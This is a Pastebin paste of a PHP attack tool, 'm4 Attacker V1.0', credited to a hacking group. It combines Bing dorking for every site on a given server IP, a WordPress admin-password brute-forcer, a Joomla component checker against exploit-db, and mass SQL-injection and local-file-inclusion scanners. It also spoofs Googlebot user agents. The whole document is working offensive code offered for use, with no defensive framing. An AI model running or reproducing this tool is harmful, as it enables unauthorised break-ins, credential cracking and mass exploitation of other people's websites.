Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #Hiroshima_Warriorz
- #m4 Attacker V1.0
- /*
- INJ3CTOR_M4
- MOROCCAN HAXORZ
- */
- @set_time_limit(0);
- error_reporting(0);
- $opt = getopt('r:w:p:j:s:f:i:l'); // getopt function
- echo"
- _____ _____ __ __ __
- _____ / | | / _ \_/ |__/ |______ ____ | | __ ___________
- / \ / | |_ / /_\ \ __\ __\__ \ _/ ___\| |/ // __ \_ __ \
- | Y Y \/ ^ / / | \ | | | / __ \\ \___| <\ ___/| | \/
- |__|_| /\____ | \____|__ /__| |__| (____ /\___ >__|_ \\___ >__|
- \/ |__| \/ \/ \/ \/ \/
- ";
- if(isset($opt['r'])){
- $remoteAddress = $opt['r'];
- echo info_ip($remoteAddress); // print resultat
- }elseif(isset($opt['w']) && isset($opt['p'])){ $passwords = list_get_contents($opt['p']);
- // Wordpress Grabber By INJ3CTOR_M4
- $ip = $opt['w'];
- $dork = "ip:$ip /?page_id=";
- $sites = bing_dorker($dork);
- foreach($sites as $site){
- // Check if WordPress
- if(eregi("page_id=", $site)){ $site = pathinfo($site)['dirname'];
- $data = get_source($site . "/wp-includes/wlwmanifest.xml");
- if(preg_match('#<clientType>WordPress</clientType>#i', $data)){
- $wpLinks[] = $site;
- }
- }
- }
- if(!empty($wpLinks)){ $wpLinks = array_unique($wpLinks);
- foreach($wpLinks as $wordpress){ echo"\r\n[+] $wordpress :\r\n";
- $user=admin_wp($wordpress); // get admin username
- echo"\t[+] Username: $user\r\n";
- echo"\t[!] Trying " . sizeof($passwords) . " Password, ";
- foreach($passwords as $pass){ // Load Passwords
- $result=WP($wordpress, $user, $pass); // Start Bruteforce
- if($result == true){
- echo"\r\n\t[+] Cracked - Password: $pass\r\n";
- break;
- }
- } echo"Finished - Not Cracked!\r\n";
- }
- }
- }elseif(isset($opt['j'])){
- // Joomla Grabber By INJ3CTOR_M4
- $ip = $opt['j'];
- $dork = "ip:$ip index.php?option=com";
- $sites = bing_dorker($dork);
- foreach($sites as $site){
- // Check if Joomla
- if(preg_match('/option/', $site)){ $site = pathinfo($site)['dirname'];
- $data = get_source($site . "/administrator/index.php");
- if(preg_match('/Joomla!/', $data)){
- $joomLinks[] = $site;
- }
- }
- }
- if(!empty($joomLinks)){ $joomLinks = array_unique($joomLinks);
- foreach($joomLinks as $joomla){ echo"\r\n[+] $joomla :\r\n";
- $composents=jos_composent($joomla); // Get Composents
- if(count($composents)>0){
- foreach($composents as $composent){ // Load Composents
- $result=ExpDB($composent); // Scan Composent
- if($result == true){
- echo"\t[+] $composent\tVulnerable!\r\n";
- }else{ echo"\t[-] $composent\r\n"; }
- }
- }else{ echo"\t[!] There is No Composent\r\n"; }
- }
- }
- }elseif(isset($opt['s'])){
- // SQLi Server Scanner By INJ3CTOR_M4
- $ip = $opt['s'];
- $dorks = array('?id=', '.php?id=', '.php?category=', '.php?cat=', '.php?article_id=', '.php?product_id=', '?attachment_id=', '.php?num=', '.php?idProduct=', '.php?idCategory=', '.php?cartID=', '.php?catid=', '.php?item_id=', '.php?keyword=', '.php?Item=');
- foreach($dorks as $dork){
- $query = "ip:$ip $dork";
- $sites = bing_dorker($query);
- foreach($sites as $site){
- $data = get_source($site . "%27");
- if(preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $data)){
- echo"[+] $site Vulnerable!\r\n";
- }else{ echo"[-] $site Note Vulnerable!\r\n"; }
- }
- }
- }elseif(isset($opt['f'])){
- // LFI Server Scanner By INJ3CTOR_M4
- $ip = $opt['f'];
- $dorks = array('.php?action=', '.php?act=', '.php?download=', '.php?file=', '.php?filename=', '.php?f=', '.php?page=', '.php?pg=', '.php?pagina=', '.php?main=', '.php?viewpage=', '.php?show=', '.php?lang=', '.php?language=', '.php?logon=', '.php?c=', '.php?topic=', '.php?go=');
- foreach($dorks as $dork){
- $query = "ip:$ip $dork";
- $sites = bing_dorker($query);
- foreach($sites as $site){
- $url = _Fix($site);
- $data = get_source($url . '__m4__');
- if(preg_match("/failed to open stream/i", $data)){ // scan if vulnerable
- echo"[+] $url Vulnerable!\r\n";
- }else{ echo"[-] $site Note Vulnerable!\r\n"; }
- }
- }
- }elseif(isset($opt['i']) && isset($opt['l'])){ $list = list_get_contents($opt['l']);
- $ip = $opt['i'];
- // Reverse iP By INJ3CTOR_M4
- $allLinks = bing_dorker($ip);
- foreach($allLinks as $link){
- $site = parse_url ($link);
- $sites[] = $site['scheme']."://".$site['host'];
- }
- $sites = array_unique($sites); // unique resultat
- $ch = curl_init();
- foreach($sites as $site){ // load websites
- foreach($list as $path){ // load path list
- curl_setopt($ch, CURLOPT_URL, $site.$path);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; pt-pt) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27");
- curl_setopt($ch, CURLOPT_NOBODY, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- curl_setopt($ch, CURLOPT_TIMEOUT, 5);
- curl_exec($ch);
- if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200){ // check if found or not
- echo"[+] $site$path ...Ok!\r\n";
- }
- }
- }
- }else{
- echo"\r\n[!] OPTIONS:\r\n\t -r Get Server iP Informations\r\n\t -w [127.0.0.1] -p pass.txt // Wordpress Server Bruteforcer\r\n\t -j Joomla Server Scanner\r\n\t -s SQLi Server Scanner\r\n\t -f LFI Server Scanner\r\n\t -i [127.0.0.1] -l path.txt // Server Path Scanner\r\n";
- }
- // iP Information Grabber Function By INJ3CTOR_M4
- function info_ip($ip){
- $result .="\r\n==========================================================\r\n";
- $result .="[*] remoteAddress : {$ip}\r\n";
- $data = json_decode(file_get_contents("http://ip-api.com/json/" . $ip));
- if($data->{"status"} != "fail"){
- $result .="[*] country : " . $data->{"country"} . "\r\n";
- $result .="[*] ISP NAME : " . $data->{"isp"} . "\r\n";
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'http://domains.yougetsignal.com/domains.php');
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=" . $ip);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $data = json_decode(curl_exec($ch));
- curl_close($ch);
- if($data->{"status"} != "Fail"){
- $result .="[*] domainCount : " .$data->{"domainCount"} . "\r\n";
- }
- if(fsockopen($ip, 80)){
- $data = get_source("http://$ip/");
- if(preg_match("#<title>(.*?)</title>#i", $data, $matches)){
- $result .="[*] title : {$matches['1']}" . "\r\n";
- }
- }elseif(fsockopen($ip, 443)){
- $data = get_source("https://$ip/");
- if(preg_match("#<title>(.*?)</title>#i", $data, $matches)){
- $result .="[*] title : {$matches['1']}" . "\r\n";
- }
- }
- $result .="==========================================================\r\n";
- return $result;
- }
- function bing_dorker($dork){
- $ch = curl_init();
- $i = 1;
- while($i){
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL, "http://www.bing.com/search?q=" . urlencode($dork) . "&first={$i}");
- curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt($ch, CURLOPT_USERAGENT, "SamsungI8910/SymbianOS/9.1 Series60/3.0");
- curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, compress");
- $data = curl_exec($ch);
- preg_match_all('#<h2 class="sb_h3 cttl"><a href="(.*?)"#i', $data, $matches);
- foreach($matches[1] as $link){
- $allLinks[] = $link;
- }
- if(!preg_match('#class="sb_pagN"#i', $data)) break;
- $i+=10;
- }
- curl_close($ch);
- if(!empty($allLinks) && is_array($allLinks)){
- return array_unique($allLinks);
- }
- }
- function list_get_contents($file){
- $data = file($file);
- return array_unique(array_map("trim", $data));
- }
- function admin_wp($wp){
- $data = get_source($wp . "/?feed=atom");
- if(preg_match('#<name>(.*?)</name>#', $data, $user)){
- if(strlen($user[1]) > 0 && strlen($user[1]) <= 15){
- return $user[1];
- }
- }else{
- $data = get_source($wp . "/?author=1");
- if(preg_match('#<body class="archive author author-(.*?) author-(.*?)(.*)">#i', $data, $user)){
- return $user[1];
- }else{
- return "admin";
- }
- }
- }
- function WP($site, $user, $pass){
- $ch = curl_init();
- $to = $site . "/wp-admin/";
- curl_setopt($ch, CURLOPT_URL, $site . "/wp-login.php");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/2.1 (+http://www.google.com/bot.html)");
- curl_setopt($ch, CURLOPT_COOKIE, "wordpress_test_cookie=WP+Cookie+check");
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "log=".$user."&pwd=".$pass."&wp-submit=Log+In&redirect_to=".$to."&testcookie=1");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- $data = curl_exec($ch);
- return (preg_match('/logout/', $data)) ? true:false;
- }
- function jos_composent($url){
- $source = get_source($url);
- preg_match_all('{option,(.*?)/}i', $source, $f);
- preg_match_all('{option=(.*?)(&|&|")}i', $source, $f2);
- preg_match_all('{/components/(.*?)/}i', $source, $f3);
- return cln_arr(@ array_merge($f2[1], $f[1], $f3[1]));
- }
- function cln_arr($array){
- return @ array_filter(@ array_unique($array));
- }
- function ExpDB($Bug){
- $ghdb = "http://www.exploit-db.com/search/?action=search&filter_exploit_text=";
- return (!preg_match("/No results/", get_source($ghdb . $Bug))) ? true:false;
- }
- function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#", $site, $res); return $res[2][0]."="; }
- function get_source($link, $agent=false){
- if(!$agent){ $agent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; }
- if(!function_exists('curl_init')){
- return file_get_contents($link);
- }else{
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_URL, $link);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_ENCODING, 0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment